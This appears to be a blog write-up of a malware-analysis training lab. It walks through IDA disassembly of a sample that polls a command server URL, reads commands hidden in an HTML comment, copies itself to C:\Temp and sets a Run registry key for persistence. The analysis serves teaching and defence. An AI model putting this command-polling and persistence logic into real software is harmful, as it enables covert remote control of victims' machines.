Post

0x0A_Lab06-04

Overview

FilenameSizeMD5
Lab06-04.exe40 KB21be74dfafdacaaab1c8d836e2186a69

TL;DR: A malware requesting commands from an HTML document hosted at http://www.practicalmalwareanalysis.com/cc.htm. Commands are embedded inside an HTML comment at the beginning of the document. The malware uses the following format string to build the user-agent string: Internet Explorer 7.50/pma%d, where %d starts at 0 is incremented by 1 at each request. Once 1440 requests have been sent, the malware exits. Depending on the commands received, the malware can copy itself to the path C:\Temp\cc.exe and persist reboot thanks to the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware.

Tools: IDA Free

IDB: Lab06-04.i64


Checking Internet Status

The sample starts by checking the state of the internet connection with a call to InternetGetConnectedState:

1
2
3
4
5
6
7
8
9
.text:00401000      push    ebp
.text:00401001      mov     ebp, esp
.text:00401003      push    ecx
.text:00401004      push    0               ; dwReserved
.text:00401006      push    0               ; lpdwFlags
.text:00401008      call    ds:InternetGetConnectedState
.text:0040100E      mov     [ebp+internet_state], eax
.text:00401011      cmp     [ebp+internet_state], 0
.text:00401015      jz      short no_internet

The API returns TRUE if an active internet connection is found, and FALSE if there is no internet connection. Depending on the returned value, the message “Success: Internet Connection\n” is printed and eax is set to 1, or the message “Error 1.1: No Internet\n” is printed and eax is set to 0:

1
2
3
4
.text:00401017      push    offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C      call    printf
.text:00401021      add     esp, 4
.text:00401024      mov     eax, 1
1
2
3
4
5
.text:0040102B no_internet:
.text:0040102B      push    offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030      call    printf
.text:00401035      add     esp, 4
.text:00401038      xor     eax, eax

The tricky part here is printf wasn’t recognized as such by IDA, so it’s easy to get lost down the rabbit hole (I dodged this one, yay).

Downloading commands

In case an internet connection is detected, a counter is set to 0 and the sample starts to request commands from its CnC. Up to 0x5A0 requests can be sent to the CnC before exiting the loop:

1
2
3
4
5
6
7
8
9
.text:00401248      mov     [ebp+ua_index], 0
.text:0040124F      jmp     short request_command
[...]
.text:0040125A request_command:
.text:0040125A      cmp     [ebp+ua_index], 5A0h
.text:00401261      jge     short exit_loop
.text:00401263      mov     ecx, [ebp+ua_index]
.text:00401266      push    ecx
.text:00401267      call    NETWORK__ReceiveCommandFromHTML

In addition, this counter is used to build the user-agent string:

1
2
3
4
5
6
.text:00401049      mov     eax, [ebp+ua_index]
.text:0040104C      push    eax
.text:0040104D      push    offset aInternetExplor ; "Internet Explorer 7.50/pma%d"
.text:00401052      lea     ecx, [ebp+szAgent]
.text:00401055      push    ecx             ; char *
.text:00401056      call    _sprintf

The sample then requests the URL http://www.practicalmalwareanalysis.com/cc.htm:

1
2
3
4
5
6
7
8
9
10
11
.text:00401073      push    0               ; dwContext
.text:00401075      push    0               ; dwFlags
.text:00401077      push    0               ; dwHeadersLength
.text:00401079      push    0               ; lpszHeaders
.text:0040107B      push    offset szUrl    ; "http://www.practicalmalwareanalysis.com/cc.htm"
.text:00401080      mov     eax, [ebp+hInternet]
.text:00401083      push    eax             ; hInternet
.text:00401084      call    ds:InternetOpenUrlA
.text:0040108A      mov     [ebp+hFile], eax
.text:0040108D      cmp     [ebp+hFile], 0
.text:00401091      jnz     short openurl_success

If the requested resource is available, its content is read in a 0x200 bytes buffer:

1
2
3
4
5
6
7
8
9
.text:004010B1 openurl_success:
.text:004010B1      lea     edx, [ebp+dwNumberOfBytesRead]
.text:004010B4      push    edx             ; lpdwNumberOfBytesRead
.text:004010B5      push    200h            ; dwNumberOfBytesToRead
.text:004010BA      lea     eax, [ebp+Buffer]
.text:004010C0      push    eax             ; lpBuffer
.text:004010C1      mov     ecx, [ebp+hFile]
.text:004010C4      push    ecx             ; hFile
.text:004010C5      call    ds:InternetReadFile

If the download is successful, the 4 first bytes of the buffer are checked. If they match the opening marker of an HTML comment (<!--), the value of the fifth byte is written to al and the function returns:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:004010F9 download_success:
.text:004010F9      movsx   ecx, [ebp+Buffer]
.text:00401100      cmp     ecx, '<'
.text:00401103      jnz     short html_parsing_error
.text:00401105      movsx   edx, [ebp+Buffer+1]
.text:0040110C      cmp     edx, '!'
.text:0040110F      jnz     short html_parsing_error
.text:00401111      movsx   eax, [ebp+Buffer+2]
.text:00401118      cmp     eax, '-'
.text:0040111B      jnz     short html_parsing_error
.text:0040111D      movsx   ecx, [ebp+Buffer+3]
.text:00401124      cmp     ecx, '-'
.text:00401127      jnz     short html_parsing_error
.text:00401129      mov     al, [ebp+Buffer+4]
.text:0040112F      jmp     short html_parsing_success

Dispatching commands

Once a command is received, a dispatch function is called. Its first parameter is the command, and the second is the path of the sample being executed (argv[0]):

1
2
3
4
5
6
7
8
9
10
.text:00401290      mov     ecx, [ebp+argv]
.text:00401293      mov     edx, [ecx]
.text:00401295      push    edx             ; lpExistingFileName
.text:00401296      mov     al, [ebp+command]
.text:00401299      push    eax             ; command
.text:0040129A      call    DispatchCommand
.text:0040129F      add     esp, 8
.text:004012A2      push    60000           ; 60 seconds
.text:004012A7      call    ds:Sleep
.text:004012AD      jmp     short loop_cnc

Once the command has been processed, the sample sleeps for 1 minute before sending a new request.

Dispatch table

The result of command - 0x61 is computed and used as an index inside a jump table:

1
2
3
4
5
6
7
.text:0040115D      mov     ecx, [ebp+command_]
.text:00401160      sub     ecx, 61h
.text:00401163      mov     [ebp+command_], ecx
.text:00401166      cmp     [ebp+command_], 4 ; switch 5 cases
.text:0040116A      ja      invalid_command ; jumptable 00401173 default case
.text:00401170      mov     edx, [ebp+command_]
.text:00401173      jmp     ds:command_switch[edx*4] 

Below is the the jump table with the proper labels:

1
2
3
4
5
.text:00401212 command_switch  dd offset create_dir 
.text:00401212                 dd offset copy_file
.text:00401212                 dd offset delete_file
.text:00401212                 dd offset set_run_key
.text:00401212                 dd offset sleep

From this, we deduce that a, b, c, d and e are valid commands.

Command a

This command creates a temporary folder at C:\Temp:

1
2
3
4
5
6
; jumptable 00401173 case 0
.text:0040117A create_dir:
.text:0040117A      push    0               
.text:0040117C      push    offset PathName ; "C:\\Temp"
.text:00401181      call    ds:CreateDirectoryA
.text:00401187      jmp     exit

Command b

This command copies the sample to the path C:\Temp\cc.exe (recall lpExistingFileName is argv[0]):

1
2
3
4
5
6
7
8
; jumptable 00401173 case 1
.text:0040118C copy_file:
.text:0040118C      push    1              
.text:0040118E      push    offset Data     ; "C:\\Temp\\cc.exe"
.text:00401193      mov     eax, [ebp+lpExistingFileName]
.text:00401196      push    eax             ; lpExistingFileName
.text:00401197      call    ds:CopyFileA
.text:0040119D      jmp     short exit

Command c

This commands deletes the copy created by command b:

1
2
3
4
5
; jumptable 00401173 case 2
.text:0040119F delete_file:     
.text:0040119F      push    offset Data    ; "C:\Temp\cc.exe" 
.text:004011A4      call    ds:DeleteFileA
.text:004011AA      jmp     short exit

Command d

This command sets the persistency of the sample. It opens the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run and sets the value malware to point to the path of the sample copy (C:\Temp\cc.exe):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; jumptable 00401173 case 3
.text:004011AC set_run_key:
.text:004011AC                 lea     ecx, [ebp+phkResult] 
.text:004011AF                 push    ecx             ; phkResult
.text:004011B0                 push    KEY_ALL_ACCESS  ; samDesired
.text:004011B5                 push    0               ; ulOptions
.text:004011B7                 push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:004011BC                 push    HKEY_LOCAL_MACHINE ; hKey
.text:004011C1                 call    ds:RegOpenKeyExA
.text:004011C7                 push    15              ; path length
.text:004011C9                 push    offset Data     ; "C:\\Temp\\cc.exe"
.text:004011CE                 push    REG_SZ          ; dwType
.text:004011D0                 push    0               ; Reserved
.text:004011D2                 push    offset ValueName ; "Malware"
.text:004011D7                 mov     edx, [ebp+phkResult]
.text:004011DA                 push    edx             ; hKey
.text:004011DB                 call    ds:RegSetValueExA

Command e

This command makes the sample sleep fot 100 seconds:

1
2
3
4
5
; jumptable 00401173 case 4
.text:004011F4 sleep:
.text:004011F4      push    100000          
.text:004011F9      call    ds:Sleep
.text:004011FF      jmp     short exit

EOF

This post is licensed under CC BY 4.0 by the author.